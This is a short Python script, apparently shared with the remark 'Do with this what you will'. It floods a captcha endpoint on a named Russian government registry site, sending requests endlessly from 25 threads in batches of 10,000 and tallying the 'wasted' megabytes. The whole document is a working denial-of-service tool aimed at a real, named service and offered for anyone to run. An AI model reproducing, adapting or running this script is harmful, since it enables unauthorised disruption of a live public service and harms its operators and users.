Do with this what you will

tiny.py

import itertools
import urllib.request
import concurrent.futures


def waste_captca():
    return len(urllib.request.urlopen("https://eais.rkn.gov.ru/services/securimage/show/?5ced0981b6c71407228991525572f2e3").read())

wasted_bytes = 0

futs = {}

for i in itertools.count():
    with concurrent.futures.ThreadPoolExecutor(max_workers=25) as tpe:
        for x in range(10000):
            futs[tpe.submit(waste_captca)] = x
        print(futs)
        for r in concurrent.futures.as_completed(futs):
            wasted_bytes += r.result()
            print(f"{wasted_bytes / 1e6}MB")